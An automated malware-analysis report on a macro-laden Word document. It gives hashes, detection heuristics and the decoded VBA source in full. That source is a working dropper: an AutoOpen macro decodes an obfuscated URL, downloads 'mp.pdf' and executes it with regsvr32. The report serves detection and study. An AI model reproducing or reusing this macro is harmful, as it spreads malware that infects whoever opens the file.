Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8d218e741cdb9292…

MALICIOUS

Office (OOXML)

115.4 KB Created: 2020-07-21 08:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: f6ac57d97f9706e10d53907d57e059ed SHA-1: cedece1825dbcc77f4d4191162290c17e7412edc SHA-256: 8d218e741cdb92926e8dd416837bdbc4f47e59c3b8fae9d855998c428ec4e654
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' subroutine is present and uses the 'URLDownloadToFile' function to download a file named 'mp.pdf'. This downloaded file is then executed using 'kK.exec(K5 & D1 & "32 mp.pdf")', indicating a downloader or dropper functionality. The presence of the AutoOpen macro and the URLDownloadToFile function strongly suggests a malicious intent to download and execute a secondary payload.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal xK As LongPtr, ByVal qR As String, ByVal t5 As String, ByVal TK As LongPtr, ByVal Xb As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    mQ = id(AL)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3670 bytes
SHA-256: cf1d7b3f7ebac3ae2525bf59a747bd46295c04746ee8f2683f323ad24c47dff2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "T0"
Function id(xY)
    
' Portal operator measures
' Wallis plume licking
' Race paragraphs alphabetical

' Tu fisting
' Command
' Consistently entering
' Rss
' Henderson intestine
fD = Split(xY, " ")
For Wm = 0 To UBound(fD)
 nW = nW & Chr(fD(Wm) Xor 1)
Next Wm
id = nW
End Function
Sub autoopen()
mQ = id(AL)

' Wired locksmith richardson amiability budge
' Rj
frm.download mQ, "mp.pdf"

' Sorted corroboration notified infirmity tournaments powerseller
' Om malay
' Spry
' Cashmere wiki

' Licensing prison regulations brushing
' Brian banging beast rs
' Consent boxing

' Kent alive versification
' Lying beings guided llc hundreds null

' Qc decease
' Announcements bent collector produces fuse
' Milkman
' August roses tags suggests
' Unconsciousness eliminate Word caused briefs pristine
' Beck scale

' Assortment reverting
' Xanax absorbs n
' Accomplice shower
Dim kK As New WshShell
Call kK.exec(K5 & D1 & "32 mp.pdf")
End Sub

Attribute VB_Name = "T01"
Sub Y()

' Shanty outlaw tot talks
' Bond comfortable cate
' Bern joyance blue coalesce sever

' Happy while
' Trunk mouthful travelling rump
' Comfortable meditate

' Cad platinum congenital ct
' Korea jerry meaningless

' Impede basal rosette
' Exceptions terrorism data
' Gcc decorative martians
' Shot sedative posting reynard sloth lanky revenue

' Pyramidal
' Parochial fans counselor
' Reproduce fluid acrid

' Alphabetical graduated
' Terminals unlettered
' Pages ref stucco negligible
' Vis da diving innovative
' Struck numb weapons senegal

' Miscellaneous output stress probability dump
' Dg hostage lout
' Po height
' Tions weapon homeless

' Chairman bethany
' Quantum
' Ur bigger
' Rising

' Genetic
' Vietnamese
' Marathon
' Berkshire eye does

' Lexington penitence tempering saudi
' Begins

' Ambulance educator playground
' Engaging assimilate marketplace overtime

' Memoirs webshots
' Rill tuck
' Drawback scoop
End Sub

Attribute VB_Name = "FR"
Public Const K5 As String = "reg"
Public Const D1 As String = "svr"
Public Const AL As String = "105 117 117 113 59 46 46 112 121 100 50 116 96 112 47 98 110 108 46 53 96 101 115 46 109 110 117 119 47 113 105 113 62 109 60 123 116 102 48 47 98 96 99"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal xK As LongPtr, ByVal qR As String, ByVal t5 As String, ByVal TK As LongPtr, ByVal Xb As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal xK As Long, ByVal qR As String, ByVal t5 As String, ByVal TK As Long, ByVal Xb As Long) As Long
#End If
Function jI()

' Silver attempt unbridled dropped situate thrive
' Reel crash adolescence
' Chicken assumes flattened productivity
' Cone

' Milieu
' Ips domesticity chicken
' Purse landau
' Offer
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{40A8EC5A-E1AA-40C0-BF81-DAE230E6AEE8}{ABB6D7FF-7B7D-40E6-B28F-20F043A05824}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27136 bytes
SHA-256: e204a8b9569fcc1af0b9215f98d6ad41b099db23a67fdd5875cd708dd23f2e17